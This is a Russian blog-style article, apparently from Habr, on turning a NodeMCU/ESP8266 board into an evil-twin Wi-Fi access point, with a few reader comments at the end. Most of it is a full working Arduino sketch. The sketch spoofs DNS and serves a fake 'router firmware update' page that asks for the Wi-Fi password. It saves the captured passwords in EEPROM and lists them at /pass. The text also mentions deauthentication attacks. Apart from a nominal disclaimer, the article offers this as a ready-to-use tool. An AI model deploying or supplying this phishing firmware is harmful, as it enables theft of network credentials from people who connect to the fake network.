О макетной плате NodeMCU можно найти немало статей на просторах Хабра. Авторы предлагают управлять шторами, включать освещение и выполнять другие операции с ее помощью для создания умного дома. Однако это небольшое устройство можно использовать и при тестировании на проникновение.

NodeMCU — это платформа на основе модуля ESP8266. Отличием этой платы от других Arduino подобных решений является наличие встроенного модуля WiFi. С помощью этого модуля мы можем управлять различными схемами на расстоянии посредством передачи сигнала  через Wi-Fi. Для NodeMCU написано множество различных библиотек и помимо прочего на ней можно реализовать точку доступа. Да, для создания полноценной точки доступа к плате необходимо подключать Ethernet модуль, но как вы увидите далее, для тех задач, которые мы будем реализовывать, нам отправлять трафик дальше совсем не обязательно.

Давайте для начала поговорим о том, какие атаки мы можем реализовать с помощью NodeMCU.

Дежурный дисклеймер

Вся информация, приведенная в статье, носит исключительно ознакомительный характер. Автор снимает с себя всякую ответственность за использование данных материалов в незаконных целях.

Fake AP и другие

О взломе Wi-FI на просторах Интернета написана не одна сотня статей. Широко известен пакет AirCrack-ng из состава Kali Linux. Также не менее известна хакерская антенна Alfa и аналогичные решения, позволяющие работать в режиме мониторинга. Основная идея здесь проста: слушаем беспроводную сеть, находим жертву, вынуждаем ее принудительно отключиться от точки доступа и перехватываем аутентификационные пакеты. Далее нам необходимо определенное везение, так как мы будем пытаться расшифровать ключ. Если ключ достаточно сложный, его взлом может занять значительное время. Это история про закрытые сети, шифруемые с помощью WPA.

Здесь плата NodeMCU тоже может помочь для реализации атаки деаутентификации. С ее помощью можно заставить жертву разорвать соединение.

Но мы подробнее рассмотрим другой вид защиты беспроводных сетей, который часто можно встретить в гостиницах. Здесь беспроводная сеть может быть открыта или иметь ключ шифрования, который известен постояльцам и посетителям. Но, после подключения к сети мы попадаем на дефолтную страницу, где нас просят ввести пароль для доступа в интернет. Без ввода корректного пароля нас дальше никуда не пустят.

Конечно, можно атаковать такую защиту с помощью перебора паролей, Burp Suite, Hydra, Medusa и аналогичных инструментов. Но, во-первых эти пароли для доступа как правило генерируются автоматически и имеют высокий уровень сложности для подбора и во-вторых, после нескольких неудачных попыток ввода пароля точка доступа нас скорее всего заблокирует. Поэтому перебор не лучший способ.

Вместо этого мы можем пойти от обратного, сами поднять поддельную точку доступа с аналогичными настройками и дождаться, когда пользователь к ней подключится и введет свои учетные данные для входа в сеть.

Все, что нам для этого потребуется это копия настоящего веб ресурса для ввода пароля и знание HTML. Мы развернем поддельную точку доступа с таким же именем и параметрами подключения. Если пользователь окажется в зоне действия нашей Fake Access Point, то его устройство автоматически подключится к ней. Затем у него при попытке обратиться к любому ресурсу будет появляться форма для ввода пароля. Очевидно, что раз у него сохранена данная сеть, значит он к ней уже подключался и знает пароль. Далее он вводит в форме пароль, который мы сохраняем на нашем устройстве.

Сохраняем добычу

Для сохранения собранных паролей (возможно их будет несколько) можно конечно подключить модуль с SD-картой, но вряд ли у нас будет такое большое количество данных. Проще использовать энергонезависимую память EEPROM. Эта память сохраняет данные после отключения питания. В плате NodeMCU объем EEPROM равен 4 Кб. Для сохранения паролей такого объема вполне достаточно.

Разворачиваем рабочую среду

Пойдем по классической схеме с использованием Arduino IDE. Для начала необходимо скачать и установить эту среду разработки (https://support.arduino.cc/hc/en-us/articles/360019833020-Download-and-install-Arduino-IDE).

В результате успешной установки получаем следующее рабочее окно:

Далее нам еще необходимо установить драйвер для макетной платы и плагины для среды Arduino IDE. Его можно скачать например вот отсюда https://iarduino.ru/file/230.html. Несмотря на то, что в описании не указана Windows 10, по факту эта ОС тоже поддерживается.

Далее нам необходимо подружить Arduino IDE с нашими макетными платами. Для этого необходимо подгрузить файлы JSON. В среде Arduino IDE идем в вкладку File -> Preferences и в поле Additional boards manager URLs указываем путь

http://arduino.esp8266.com/stable/package_esp8266com_index.json

Устанавливаем пакет для ESP8266. Среда выполнения готова к работе.

Собираем скетч

За основу прошивки взято решение https://github.com/nv-thang/Fake-Wifi-AP/. Рассмотрим его основной функционал. После подключения к точке доступа, пользователь получает адрес из подсети 172.0.0.0/24. У нас есть основная форма доступная по адресу 172.0.0.1. В ней сообщается, что требуется обновление и предлагается ввести пароль незадачливому пользователю. После чего ему выводится на экран сообщение об обновлении устройства.

Далее мы можем посмотреть список уже собранных паролей, обратившись по адресу http://172.0.0.1/pass. Также можно очистить EEPROM удалив все сохраненные пароли. Для этого нажимаем внизу ссылку Clear passwords.  

Еще можно сменить название беспроводной сети. Для этого необходимо перейти по ссылке http://172.0.0.1/ssid. Правда для полноценной подмены скорее всего необходимо изменить и внешний вид самой веб формы аутентификации, а сделать это без перепрошивки устройства не получится.

Далее приведен полный код скетча с комментариями.

#include <ESP8266WiFi.h>

#include <DNSServer.h> 

#include <ESP8266WebServer.h>

#include <EEPROM.h>

const char* SSID_NAME = "Free WiFi"; // SSID по умолчанию

#define SUBTITLE "Router info."

#define TITLE "Update"// заголовки окон

#define BODY "Your router firmware is out of date. Update your firmware to continue browsing normally." // текст в окне

#define POST_TITLE "Updating..."

#define POST_BODY "Your router is being updated. Please, wait until the proccess finishes.</br>Thank you."

#define PASS_TITLE "Passwords"

#define CLEAR_TITLE "Cleared"

const byte HTTP_CODE = 200;

const byte DNS_PORT = 53;

const byte TICK_TIMER = 1000;

IPAddress APIP(172, 0, 0, 1); //адрес точки доступа 

String allPass = "";

String newSSID = "";

String currentSSID = "";

int initialCheckLocation = 20; 

int passStart = 30;            

int passEnd = passStart;       

unsigned long bootTime=0, lastActivity=0, lastTick=0, tickCtr=0;

DNSServer dnsServer; ESP8266WebServer webServer(80);

String input(String argName) {

  String a = webServer.arg(argName);

  a.replace("<","&lt;");a.replace(">","&gt;");

  a.substring(0,200); return a; }

String footer() { 

  return "</div><div class=q><a>&#169; All rights reserved.</a></div>";

}

String header(String t) {

  String a = String(currentSSID);

  String CSS = "article { background: #f2f2f2; padding: 1.3em; }" 

    "body { color: #333; font-family: Century Gothic, sans-serif; font-size: 18px; line-height: 24px; margin: 0; padding: 0; }"

    "div { padding: 0.5em; }"

    "h1 { margin: 0.5em 0 0 0; padding: 0.5em; }"

    "input { width: 100%; padding: 9px 10px; margin: 8px 0; box-sizing: border-box; border-radius: 0; border: 1px solid #555555; border-radius: 10px; }"

    "label { color: #333; display: block; font-style: italic; font-weight: bold; }"

    "nav { background: #0066ff; color: #fff; display: block; font-size: 1.3em; padding: 1em; }"

    "nav b { display: block; font-size: 1.5em; margin-bottom: 0.5em; } "

    "textarea { width: 100%; }";

  String h = "<!DOCTYPE html><html>"

    "<head><title>" + a + " :: " + t + "</title>"

    "<meta name=viewport content=\"width=device-width,initial-scale=1\">"

    "<style>" + CSS + "</style>"

    "<meta charset=\"UTF-8\"></head>"

    "<body><nav><b>" + a + "</b> " + SUBTITLE + "</nav><div><h1>" + t + "</h1></div><div>";

  return h; }

String index() {

  return header(TITLE) + "<div>" + BODY + "</ol></div><div><form action=/post method=post><label>WiFi password:</label>"+

    "<input type=password name=m></input><input type=submit value=Start></form>" + footer();

} //форма для ввода пароля

String posted() { // функция сохранения паролей 

  String pass = input("m");

  pass = "<li><b>" + pass + "</li></b>"; 

  allPass += pass;                       

  for (int i = 0; i <= pass.length(); ++i)

  {

    EEPROM.write(passEnd + i, pass[i]); 

  }

 

  passEnd += pass.length(); 

  EEPROM.write(passEnd, '\0');

  EEPROM.commit();

  return header(POST_TITLE) + POST_BODY + footer();

}

String pass() {

  return header(PASS_TITLE) + "<ol>" + allPass + "</ol><br><center><p><a style=\"color:blue\" href=/>Back to Index</a></p><p><a style=\"color:blue\" href=/clear>Clear passwords</a></p></center>" + footer();

}

String ssid() { // смена SSID

  return header("Change SSID") + "<p>Here you can change the SSID name. After pressing the button \"Change SSID\" you will lose the connection, so reconnect to the new SSID.</p>" + "<form action=/postSSID method=post><label>New SSID name:</label>"+

    "<input type=text name=s></input><input type=submit value=\"Change SSID\"></form>" + footer();

}

String postedSSID() { // 

  String postedSSID = input("s"); newSSID="<li><b>" + postedSSID + "</b></li>";

  for (int i = 0; i < postedSSID.length(); ++i) {

    EEPROM.write(i, postedSSID[i]);

  }

  EEPROM.write(postedSSID.length(), '\0');

  EEPROM.commit();

  WiFi.softAP(postedSSID);

return  postedSSID;

}

String clear() { //очистка EEPROM

  allPass = "";

  passEnd = passStart; 

  EEPROM.write(passEnd, '\0');

  EEPROM.commit();

  return header(CLEAR_TITLE) + "<div><p>The password list has been reseted.</div></p><center><a style=\"color:blue\" href=/>Back to Index</a></center>" + footer();

}

void setup() {

  Serial.begin(115200); 

  bootTime = lastActivity = millis();

  EEPROM.begin(512);

  delay(10);

  String checkValue = "first"; 

  for (int i = 0; i < checkValue.length(); ++i)

  {

    if (char(EEPROM.read(i + initialCheckLocation)) != checkValue[i])

    {

      for (int i = 0; i < checkValue.length(); ++i)

      {

        EEPROM.write(i + initialCheckLocation, checkValue[i]);

      }

      EEPROM.write(0, '\0');         

      EEPROM.write(passStart, '\0'); 

      EEPROM.commit();

      break;

    }

  }

  String ESSID;

  int i = 0;

  while (EEPROM.read(i) != '\0') {

    ESSID += char(EEPROM.read(i));

    i++;

  }

  while (EEPROM.read(passEnd) != '\0')

  {

    allPass += char(EEPROM.read(passEnd)); 

    passEnd++;                             

  } 

  WiFi.mode(WIFI_AP);

  WiFi.softAPConfig(APIP, APIP, IPAddress(255, 255, 255, 0));

  currentSSID = ESSID.length() > 1 ? ESSID.c_str() : SSID_NAME;

  Serial.print("Current SSID: ");

  Serial.print(currentSSID);

  WiFi.softAP(currentSSID);  

  dnsServer.start(DNS_PORT, "*", APIP); // DNS spoofing (Only for HTTP)

  webServer.on("/post",[]() { webServer.send(HTTP_CODE, "text/html", posted()); });

  webServer.on("/ssid",[]() { webServer.send(HTTP_CODE, "text/html", ssid()); });

  webServer.on("/postSSID",[]() { webServer.send(HTTP_CODE, "text/html", postedSSID()); });

  webServer.on("/pass",[]() { webServer.send(HTTP_CODE, "text/html", pass()); });

  webServer.on("/clear",[]() { webServer.send(HTTP_CODE, "text/html", clear()); });

  webServer.onNotFound([]() { lastActivity=millis(); webServer.send(HTTP_CODE, "text/html", index()); });

  webServer.begin();

  pinMode(BUILTIN_LED, OUTPUT);

  digitalWrite(BUILTIN_LED, HIGH);

}

void loop() { 

  if ((millis() - lastTick) > TICK_TIMER) {lastTick = millis();} 

dnsServer.processNextRequest(); webServer.handleClient(); }

Заключение

С помощью такого простого и недорого устройства можно провести пентест беспроводной сети, использующей веб форму для аутентификации. Возможной проблемой при использовании устройства может стать недостаточная мощность сигнала платы NodeMCU. Но в целом концепция вполне жизнеспособная. 

О других инструментах для обеспечения безопасности можно узнать у экспертов в области ИБ, например на онлайн-курсах. Перед стартом обучения проходят открытые уроки от преподавателей курсов, на которых можно узнать об актуальных технологиях и задать интересующие вопросы экспертам.

Комментарии (4)


  1. SuperTEHb
    09.10.2023 12:44

    NodeMCU это ещё и одноимённая прошивка. Позволяет писать на зыке LUA и вообще посылать туда команды в прямом эфире "из коробки". Соответственно, это чуть другая парадигма программирования без вечного цикла. И к нему же ещё куча программных модулей есть. По-моему, возможностей и удобства там поболее будет, чем в ардуине.


  1. Javian
    09.10.2023 12:44

    У макетной платы "слабая" антенна, поэтому маловероятно, что клиент подключится к ней, а не к более сильному сигналу роутера. Чтобы клиент был "в зоне действия нашей Fake Access Point", придется с этой точкой войти в толпу, например.


    1. iig
      09.10.2023 12:44

      Оставить за пальмой в холле гостиницы ;)


  1. stdenis
    09.10.2023 12:44

    Такое многообещающее начало статьи:

    Атакуем WiFi

    работать в режиме мониторинга

    находим жертву, вынуждаем ее принудительно отключиться

    будем пытаться расшифровать ключ

    а потом внезапно хоба и

    Но мы подробнее рассмотрим другой вид защиты беспроводных сетей

    и по сути статья про мелкий ESP8266 проект с тремя страничками. Это очень попахивает кликбейтом.
    Примерно как приходишь в банк, а там менеджер такой "Банковская сфера очень обширна: кредитование многомиллиардного бизнеса, страхование, инвестиции в драг металлы, акции, подключение к брокерской бирже, и ещё много всего есть в банковской сфере, но у нас можно только взять микрозайм на неделю на 30 тыс. рублей под 700 процентов"